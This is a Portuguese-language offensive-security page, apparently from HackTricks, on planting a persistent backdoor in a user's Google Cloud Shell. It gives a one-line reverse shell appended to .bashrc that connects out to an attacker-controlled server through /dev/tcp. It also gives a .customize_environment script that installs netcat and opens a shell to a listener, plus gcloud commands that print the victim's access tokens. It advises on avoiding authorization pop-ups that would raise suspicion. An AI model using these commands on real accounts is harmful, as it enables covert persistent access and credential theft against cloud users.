GCP - Cloud Shell Persistence

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Cloud Shell

Para mais informações, verifique:

pageGCP - Cloud Shell Enum

Backdoor Persistente

Google Cloud Shell fornece acesso à linha de comando aos seus recursos na nuvem diretamente do seu navegador sem nenhum custo associado.

Você pode acessar o Cloud Shell da Google a partir do console web ou executando gcloud cloud-shell ssh.

Este console possui algumas capacidades interessantes para atacantes:

  1. Qualquer usuário do Google com acesso ao Google Cloud tem acesso a uma instância do Cloud Shell totalmente autenticada (as Contas de Serviço podem, mesmo sendo Proprietárias da organização).

  2. Essa instância manterá seu diretório home por pelo menos 120 dias se nenhuma atividade ocorrer.

  3. Não há capacidades para uma organização monitorar a atividade dessa instância.

Basicamente, isso significa que um atacante pode colocar uma backdoor no diretório home do usuário e, desde que o usuário se conecte ao GC Shell a cada 120 dias pelo menos, a backdoor sobreviverá e o atacante obterá um shell toda vez que for executado apenas fazendo:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Existe outro arquivo na pasta home chamado .customize_environment que, se existir, será executado toda vez que o usuário acessar o cloud shell (como na técnica anterior). Basta inserir a backdoor anterior ou uma semelhante para manter a persistência enquanto o usuário utilizar "frequentemente" o cloud shell:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

É importante notar que na primeira vez que uma ação que requer autenticação é realizada, uma janela de autorização pop-up aparece no navegador do usuário. Esta janela deve ser aceita antes que o comando possa ser executado. Se um pop-up inesperado aparecer, isso poderá levantar suspeitas e potencialmente comprometer o método de persistência que está sendo usado.

Este é o pop-up ao executar gcloud projects list a partir do shell na nuvem (como atacante) visto na sessão do usuário no navegador:

No entanto, se o usuário tiver usado ativamente o cloudshell, o pop-up não aparecerá e você pode coletar tokens do usuário com:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Como a conexão SSH é estabelecida

Basicamente, são usadas essas 3 chamadas de API:

Mas você pode encontrar mais informações em https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización